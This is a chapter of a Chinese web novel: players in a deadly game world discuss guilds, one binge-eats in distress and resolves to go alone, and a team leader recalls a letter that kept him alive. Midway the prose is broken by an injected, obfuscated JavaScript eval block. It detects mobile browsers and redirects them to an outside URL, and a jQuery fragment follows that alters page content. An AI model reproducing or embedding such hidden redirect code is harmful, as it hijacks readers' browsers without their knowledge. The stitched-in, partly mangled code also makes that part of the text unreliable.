46. 现实世界3

想到这里,齐檎丹立刻给苏意虹发了一条消息:“你的面板上,有没有新解锁一个叫公会的功能?”


发送成功的下一秒,苏意虹的语音消息立刻弹了出来:“呜呜呜呜,齐檎丹你终于想到要给我发消息了。你要是再不联系我,我真的要帮你报警了。”


周围人太多,不方便外放语音。齐檎丹刚把这条语音消息转成文字,新的语音消息又蹦了出来。


先是第二条、第三条,然后是第四条……


苏意虹回复的热情,令人难以招架。只一眨眼的功夫,她发来的十来条语音,就形成了规模庞大的语音矩阵,把齐檎丹整块手机屏幕塞得严严实实。


齐檎丹拿着手机的手,不由得微微抽搐。


消息太多,想要一条条转成文字来看,根本来不及,齐檎丹只能将之暂时忽略:“如果有这个公会功能,方不方便截张图,发过来我看看?”


现实里无论哪个社交软件,都没法呈现与副本世界相关的内容,但齐檎丹和苏意虹已经在系统上加了好友,可以通过好友聊天框给彼此发送消息。


很快,苏意虹便发来几张截图。


从截图里可以清晰地看见,苏意虹的个人面板上,那个代表考察员公会的按键,已经从原本灰扑扑的模样变得鲜亮。


【考察员公会】


【所在公会:您尚未加入任何公会】


【觉得单打独斗难成气候?那就即刻加入公会吧。和公会里的伙伴们团结协作,总比孤军奋战来得强。】


【注意:公会规则由每个公会的会长制定,会员一旦加入,需无条件遵守。】


点进公会功能,即可看见一个特殊的邮箱。


那是公会邮箱。


公会里最重要的联络工具。


“公会邮箱仅供该公会内部成员使用,是副本世界里除了加好友和加群组以外,考察员互相联络的第三种方式。”梁安颜贴心地介绍。


公会邮箱最大的不同之处在于,只要置身同一公会,即便是没过见面的两个人,也能自由联系。而且,邮箱对个人信息的保密性更强,甚至可以用代号代替名字,不需要提供其他信息,极大地便利了公会成员之间的交流。


只不过,因为苏意虹目前还没加入公会,这个邮箱还未正式启用。邮箱里面,塞满了各种公会的招募信息。


“挑选公会的时候,切记要擦亮眼睛。”


梁安颜眉心微微蹙起:“有时候,公会反倒是陷阱。”


即便系统让开发出公会这一功能的初衷,或许是好的,却不是每一个公会都愿意像他们所许诺的那样,对新人施以援手。


这些年来,公会仗着人多势众,主要成员又大多是老玩家,对新人做出的恶劣事件可谓是罄竹难书。单是对不愿意加入公会的新人进行追杀的举动,梁安颜都已经听说过无数起。


任何一个新人考察员,只要对上公会,都会是绝对的弱势方。哪怕齐檎丹这样野蛮的成长速度,也难以与之抗衡。


“最后一点,千万千万不要加入我们王座公会。”


梁安颜眸光晦暗,唇边只剩苦笑:“王座公会里的成员,只是会长控制和压榨的对象,一旦签下那份不公平的公会合同,相当于这辈子再也没有脱离的希望。”


他们已经逃不掉了。


但,齐檎丹和苏意虹还可以。


.


苏意虹收到齐檎丹发来的新消息时,她正在看“峭壁悬棺”副本的直播回放。


在观看直播或直播回放的时候,观看者的时间流速,会被调整到与副本内流速同步。苏意虹将整场回放看完,仿佛又回到了副本之中。


齐檎丹恰好在她看完回放后,发来了消息:“我快要回去了,你先别急着加入公会,这里面的坑还挺多的。我已经向顾斩风队里的人,了解了一些公会的信息,他们答应会整理出一份公会的资料,明天发给我们参考。”


苏意虹以最快速度回复了一句,却迟迟没有等到对面的回应。


大概是又被事情绊住了吧。


苏意虹想。


在副本里,齐檎丹就处处护着她,即便遇到危险,也会让她先走。


齐檎丹明明走的是最危险的通关方式,每一步都如同在刀尖上起舞,可齐檎丹从未将她一起带进风险之中。反观她呢?哪怕她坚持加入齐檎丹的阵营之后,也什么忙都没有帮上,连齐檎丹被顾斩风留下时,她都无能为力。


现在,连要选择加入的公会,都需要齐檎丹帮忙问人。


苏意虹关掉好友对话框。


她的手迟缓地低垂下来,落在懒人沙发上。


“峭壁悬棺”副本的直播回放尚未关闭,里面传来的杂音还在耳边不断响起,提醒着她,她是多么的软弱无能。


苏意虹仰面倒在了沙发上。她第一次觉得,这个懒人沙发是这样松软,松软到,能将她完完全全地吞噬其中,一点挣扎的力气也没有。


她好像……又给齐檎丹添麻烦了。


明明她不想给齐檎丹拖后腿的,可为什么没有做到?


她终究还是太弱了。


在这副本里,弱是原罪。她什么都做不成。


外卖送来的披萨早已经冷透了,芝士在饼底上凝结成软塑料似的黄白色硬块,散发出令人毫无食欲的淡淡怪味。苏意虹却突然挣扎着从沙发里坐起身子,两手各抓起一块冷掉的披萨,往嘴里硬塞。


她塞披萨的动作粗暴而毫无章法,塞的速度越来越快,越来越猛。


不像在进食,倒像是自虐。


口腔转眼间被食物塞满,脆弱的口腔内壁几乎快要撑破,只剩下喉咙还在机械性地吞咽,但苏意虹还在继续。


她继续塞,继续吞。


吞到实在吞不下了,动作才终于有了一丁点放缓。


仿佛只要不断进食,她就能把满口的食物残渣,连着心间的无力感一起咽下。


然而苏意虹吃的速度太快,那些披萨饼块实在太过干噎,一被这么大量地填塞进去,食道和肠胃就愤怒地发起抗议。


反胃的恶心感,顷刻上涌。


胃部肌肉痉挛收缩,口腔和食道被上返的气体,挤压得发出怪异的喉音。


苏意虹疯狂的吞咽停住了。


眼泪却掉了下来。


为什么她总会给人拖后腿呢?以前是这样,现在也是这样。


苏意虹莫名其妙地,想起了她那个支离破碎的家庭。早在爸爸妈妈离婚之前,苏意虹就已经目睹过,他们好几次激烈的争吵。


只是因为夫妻俩都笃信,在饭桌上吵架会影响孩子心情,影响小孩肠胃,因此每次就算再大的火,夫妻两人一到饭桌前就会想方设法地憋回去,只为了不让苏意虹看到。


可他们的情感破裂得那么明显,流露出的迹象处处都是,哪里是苏意虹想不知道,就能不知道的?


在这张压抑的饭桌上,从小挑食的苏意虹学会了好好吃饭。


她埋头吃,大口吃。


只为了不让爸妈为之操心。


这是年纪幼小的她,唯一能够分担的事情。


只有在吞咽碗里的食物时,苏意虹才能在母亲愁苦的脸上,看到一丝欣慰的笑容。


但,苏意虹最终什么都改变不了。即便后来,苏意虹在经年累月中习惯了这种进食解压的方式,爸爸妈妈还是离婚了。破碎的家庭黏合不了,对食物的狂热却在血液里留了下来。


如果说,那时候的苏意虹是因为年纪小,所以才无能为力。可为什么同样的无力感,会再一次上演?


苏意虹放下了剩下的半块披萨。


披萨落在外卖包装盒上的响声,沉闷得,像敲在人心上。


副本里小老头的死,不仅是齐檎丹第一次这么近距离的直面死亡,也给了苏意虹极大的震动。


这一次在副本里,齐檎丹还能够护住她,但随着她们进的副本越来越多,被匹配到的副本等级将不断提升。到了齐檎丹只能勉强自保的副本难度,苏意虹不敢想象,如果齐檎丹那时候还要分心保护她,会造成什么样的后果。


齐檎丹会受伤吗?会死吗?又或者,死的人是她?


不管是哪一种结果,都令苏意虹难以承受。


当年幼小的苏意虹,曾经是父母吵架和考虑离婚时,不得不操心的累赘。可现如今,她不希望齐檎丹也被她拖累。一点都不想。


她必须锻炼自己,必须变强。


只有变强,才不会成为累赘,才不会连累想要保护她的人。


浑浑噩噩中,也不知过了多久,苏意虹终于等到了回出租屋的齐檎丹。


当齐檎丹站在出租屋门口,推门进入的那一霎,她看见满地散落狼藉的食物,也看见了坐在食物中间,含着眼泪的苏意虹。


“齐檎丹,我下个副本不跟你一起了。”苏意虹低着头,用力地吸了吸鼻子,用一种让她自己都觉得陌生的语调,把决定告诉了齐檎丹,“我想要自己进副本,给自己一个锻炼的机会。”


副本难度升高了,她的能力也得提升。哪怕这个决定将带来性命之忧,苏意虹也不在乎。


她不想再给齐檎丹拖后腿了。


苏意虹想清楚了。只有从齐檎丹身边离开,她才能够在遇到生命威胁的时候,狠下心,逼自己一把。


当下次再和齐檎丹进副本的时候,她希望成为齐檎丹的助力。


而非拖累。


.


齐檎丹虽然从顾斩风的研究室离开了,但研究室里关于齐檎丹的话题,却并没有因此停止。


甚至比她本人还在时,更加热情。


毕竟总体上来说,这是一次愉快的会面。而小队里除了性格最冷的顾斩风之外,又都不是什么难相处的人。只不过这一会儿的时间,他们就已经对齐檎丹有了一个大致的印象。


而且这印象,还挺不错。


“你之前跟我说她像顾斩风的时候,我还担心她也会有顾斩风那个臭脾气。”龙骁靠着椅背,对梁安颜道,“现在看来,她除了通关时确实疯了一点,性格多好啊,和咱们队长一点都不像。”


龙骁翘着二郎腿,双手枕在后脑勺当靠垫,一个没忍住,声音就大了一些。


传到了旁边的顾斩风耳里。


“我听到了。”顾斩风冰凉凉地开口。


冷冽的声音像结了霜,把龙骁冻了个正着。


龙骁打了一哆嗦,立刻直起身板坐正了。背后议论人被抓了个正着,他也确实该不好意思。


“嘿嘿,队长要相信我,我没有说你不好的意思。”龙骁心虚地干笑了两声,晃悠到顾斩风跟前,一眼瞥见了顾斩风桌上写得满满当当的稿纸:“队长,你又在研究什么?哎,这不是……”


从一大堆稿纸中,龙骁眼尖地瞄见了一团突兀的乱线。


乱线纠纠缠缠,绕成错综复杂的一团。压着笔画,遮着文字,似乎正帮心烦意乱的创作者,极力掩盖什么。


遮错字?这可不是顾斩风的风格。


这挺不寻常啊。


龙骁眼珠子一转,瞬间伸手,以迅雷不及掩耳之速,赶在顾斩风收起那张稿纸之前,一把将稿纸抽了出来。龙骁脚步及时往后一撤,“嗖”地一下子退开老远——


远离顾斩风能够到的最远范围。


“哎呦呦,让我看看,这线团底下写的是什么。”龙骁皱着眉头,艰难地辨认着线团下的字迹,一个字一个字地念了出来,“齐、檎、丹?你写的是齐檎丹?!”


这真是一个惊天动地的大发现。三个字一出口,龙骁登时瞳孔地震。


要是齐檎丹的名字,是被顾斩风大大方方写在纸上,他们完全不会多想。但如今,这名字被这样被小心翼翼地遮掩起来,反倒多了几分欲盖弥彰的隐秘感,说不清,道不明。


不是吧不是吧?顾斩风这棵万年铁树,难道要开花?


这发现,可谓是一石惊起千层浪。


顷刻间,全队轰动。


闻言,正抽空处理公司事务的梁安颜,移开了聚焦于邮件上的目光。靠在角落打瞌睡的叶原听见后,也睁开了惺忪睡眼。所有人的视线极其一致地,聚焦在了最中心的顾斩风身上。


每个人眼里,都写满了震惊。


“你这纸上写的,不会是我想的那个人吧?”龙骁瞠目结舌,“不是……队长,这才没见几回啊,你怎么就把人家名字写稿纸上啦?难不成你真的……”


顾斩风经受众人震惊的目光洗礼,却不以为意。


他神态自若,气定神闲。


“写错的东西,自然要划掉。”顾斩风掀起眼帘,“听着你们那么对齐檎丹的讨论,我很难不写错。”


他这个理由不可谓不充分。齐檎丹才刚走这么一会儿,周围的三人都已经提到齐檎丹这个名字多少次了,顾斩风被迫听着,确实容易将名字错写上去。


龙骁“噢”了一声,被这说辞糊弄过去。殊不知,最实质的原因,顾斩风却并未提及。


写字时,顾斩风确实有一瞬间的出神。


他想到了齐檎丹。


也想到了齐檎丹临走前,询问他的问题。


那时候,齐檎丹急着回去见好友苏意虹,迈在前面的那只脚已然到了门口。谁都没料想到,她会在那一刻突然折返,在猝不及防间,挨近了顾斩风耳畔。


她的脚步轻盈散漫,艳得出挑的发丝随动作打了个旋,霸道而漫不经心地撩过顾斩风侧脸,蹭过他颈窝。


微微痒


却不难忍受。


“自从再次见到你之后,我一直想不明白一个问题。”齐檎丹道出的声音,低且轻,顾斩风却足以听清每一个字:


“你的专属技能,为什么是风?”


梁安颜的专属技能里“天女散花”,能够制造出吸引副本内角色注意力的花状钱币。针对性极强地直指梁大小姐进入副本世界时,挽救梁氏集团的执念。


在这一技能里,钱财、鲜花这两大元素,以及吸引注意的功能,分别能够与梁安颜为了挽救岌岌可危的集团,所需要获得的充足资金、想到的设计主题和关注度三者一一对应,折射出极大的信息量。


队里另外两人的执念与技能,也不难猜。龙骁性格直率,喜怒爱憎都写在脸上,平日里最喜爱赛车竞速。叶原则爱好明显,只痴迷于信息技术。


不难想见,他们两人的技能必然会与之相关。


只有顾斩风的执念,令人捉摸不透。


将顾斩风执念彻底激发,在关键时刻使他再次进入副本世界的,不过区区一张白纸。而他的技能本身,也不过几缕清风。


这世间多的是纸与风,白纸黑字触目皆是,云涌风起随处可见。即便知晓顾斩风的执念与这两物相关,也无法就此推得执念内容。


顾斩风的执念是什么?


只有他本人知道。


齐檎丹似乎并不急于获得答案。


一问之后,她便轻轻巧巧地抽身离去。


同一瞬,齐檎丹的那几根丝丝缕缕的发,顷刻从颈窝处挪开。能挠进人心里痒意随之消散了,却散得不尽彻底,残余的几分感觉,无端地叫人心里一空。


风吹过桌上的稿纸,纸页翻飞,唰唰作响,有如群蝶振翅。顾斩风从回忆中脱离,握笔的力度不觉间稍大了几分


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017126|158985||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





他视线下移,目光沉静,落在紧锁的抽屉上。


最终,却没将抽屉拉开。


激发顾斩风执念的秘密,就被锁在这一方小小的抽屉里。


这把锁,像长久缄默的哨岗,替顾斩风忠实地守着这封信件,也守住了他无言的心事。抽屉里的东西,既轻,且薄,与昂贵的价格更是搭不上半点关系,在顾斩风心里却重于千金。


那是顾斩风伤重濒死时收到的,一封不知来向的信件。


这封信,来得像个奇迹。


当时,医院已经给顾斩风下了病危通知书,王座公会尝试以折磨他逼出执念,也未能奏效。


最终,他们将药石无医的顾斩风放弃,放任他倒在病床上,等待死亡。


那或许是顾斩风一生中,最难熬的一个黑夜。


床单被涌出的鲜血浸湿后又被风干,断裂破碎的骨骼在体内变作尖刺,刺穿了皮肉,扎破了内脏,带来永难修复的损伤。


再大剂量的麻药,也麻痹不了劈进骨髓深处的剧痛。


比剧痛更折磨人意志的,是绝望。


治病救人的医生放弃了他,签订了合同的公会放弃了他,虽然他的队友们还在为他的伤势而奔波,但距离他们认清事实,也只是迟早的事。


如今的他已是废人一个。他们不该在他这样的废人身上,浪费更多时间和精力。


及时止损,才是最优选择。


夜色很静,绝望在夜色里葳蕤疯长。绝望蔓延的速度,快得像荒原上的最后一茬植物,钻出血水染遍的被褥下,藏进深不见底的黑暗里,浮现在逐渐涣散的眼瞳中……


繁杂的根系扎进灵魂,以痛苦作为养料,将顾斩风的最后一点不甘都碾得粉碎。最后,在死寂里静悄悄地,结出一个彻夜难眠的夜。


病床对面挂着的时钟,指针刻板地移动。


挂钟“滴答滴答”的声音,坠落在沉寂的幽暗里。


响得令人心惊肉跳。


顾斩风整个人像是被劈成两半,□□在剧痛的折磨下麻木,灵魂却在绝望的拉扯下沉沦。他目光凝在病房墙上的挂钟上,却并不十分聚焦。


透过无情转动的指针,顾斩风仿佛能看见自己的结局。


死亡的镰刀等候在前方。


他的垂死挣扎,不过徒劳而已。


那封信……或者更准确地说,那张缺少了信封的单薄信纸,就是在这个时候,来到顾斩风身边的。


十分偶然地,轻薄的信纸被风卷进窗里,缱绻地覆上他的手背。


那样轻柔,那样皎然。犹如一片眷顾他的月光。


信纸边缘微微发皱,有几处似乎被雨点浸湿过一般,湿润得叫人心碎。可收信人那一行上,顾斩风的姓名却依然清晰。


这张信纸的到来,令顾斩风不由得诧异。


夜间多风,风向时刻在变,这封信是如何能够找到这家医院,精准地飘进他的病房?


这封信连落下的位置,挑得也是这样好,仿佛冥冥之中,自有注定,在顾斩风连呼吸都艰难的时刻,不偏不倚,那般精准地落在了他的手上,让他不需费力捡拾,就能看见信纸上他的名字。


这封信,简直像是故意来找他的。


多么偶然。


却如同命中注定。


或许是出于对这种巧合的意外,顾斩风拿起了信纸。


信上承载的灵魂如野草,似野火。跟随着这张信纸上的内容,顾斩风仿佛看见了一个与他经历相似的少女的自救。


少女也曾经像顾斩风一样,困在绝望的沼泽地中。


她痛苦过,挣扎过,茫然过,也彷徨过,甚至一度行差踏错,步入极端,希望结束自己的生命。


但最终,她靠着自己的努力,一步步爬出了校园霸凌和家庭问题的阴影,驱散了曾经笼罩在她身上的阴霾。


父亲家暴而母亲懦弱,她竭力保护母亲并上法庭作证,支持母亲离婚;被班里小团体霸凌,故意使她无法听课,成绩一落千丈,她就趁着课后牟足了劲恶补,终于在高考前夕实现了成绩逆袭……


只要她在高考的时候正常发挥,就能以全班第一的成绩,考上那些看不起她的人一辈子都不敢奢求的大学。


那将会是一招华丽的反击。


她会把曾经欺辱过她的人,狠狠甩在身后。


同样经历过父母感情破裂和校园霸凌的顾斩风,深知少女这一路走来,都有多么艰难不易。那字里行间,轻描淡写的每一步背后,都是浸满了汗水和泪水的重量。


可少女硬是咬着嘴唇,含着血,把这条路走了下去。


不折不挠,夺目耀眼。


那样薄的一张信纸,仿佛承受不住她鲜活而坚韧的灵魂。


顾斩风不至于对这信纸上提的事情,完全不信任。但,当顾斩风看到,少女在信纸上用字迹写下,她最初开始抗争的契机,是因为受到顾斩风的影响时,顾斩风的第一反应是质疑。


“这是什么新型骗局。”顾斩风轻嗤。该不会又是他那些队友,找来使他振作的新办法吧?


如果这是编出来的故事情节,那这个故事一定俗套到家了。同样的剧情在文艺作品里,一抓一大把。


然而,顾斩风犹豫再三,终究没舍得将信纸放下。


信里的灵魂太过耀眼。


吸引着他。


哪怕这个故事有假的可能,他却依然借着这上面的字迹,感受到了写信人顽强的生机。


那种感觉,像一团正在燃烧的火焰,向外散发着光和热。纵使被风送到顾斩风手上的,仅仅是出自少女的书信,那种释放出来的蓬勃的活力,仍然无可避免地感染到了顾斩风。


如果这是队友的妙计,那它很成功。因为此时此刻,信里写的内容真假,已经变得不再重要。


重要的是,在这个顾斩风几乎被宣判死刑的关口,他从这封信上,重新感受到了生命的力量。


鬼门关不是不能捱过去,长夜无穷无尽,只要不放弃,未必不能见天光。


这就够了。


濒临溺死的人只要抓住一根浮木,就能继续维系支撑。


写信的女孩兴许不会知道,就在她提笔向顾斩风表达感激的同时,顾斩风也从她的来信中,重新拾起了那么一丝渺茫的生的希望。


如果必须要有执念,才能再次进入副本世界。


那他的执念,就是找到写信的人。


顾斩风一直在找这个人。


却从未找到。


他先是发现队友对信并不知情,再后来,在知道《无限考察》这个求生综艺的存在后,顾斩风曾经想过,女孩也许是从这个途径认识他的。只是如果真的是这样,随着记忆被副本力量所篡改,女孩恐怕已经将他遗忘。


除非,当初给他写信的女孩,就是齐檎丹。


这个念头从脑中一晃而过,齐檎丹嚣张的笑意与信上秀美的文字,形成了鲜明对比。


顾斩风不禁自嘲地一哂。


真是想找人想疯了。写信人不会是齐檎丹的。


齐檎丹怎么可能写信感谢他?


齐檎丹性格恶劣张扬,以看顾斩风吃瘪为乐,那颗心里满满当当的只有拍照。顾斩风猜想,齐檎丹对他这个人的兴趣,或许还没对他身上蛇鳞的兴致高。


这样一封对他表达感激的信,即便只是拿到齐檎丹面前,只怕也会被她无情嘲笑,让她写出这样一封东西,简直是天方夜谭。


顾斩风垂着眼睑,渐渐收了心思。


再从满桌稿纸上抬眼之时,他却见梁安颜等人满脸忧色。


“怎么了?”顾斩风问道。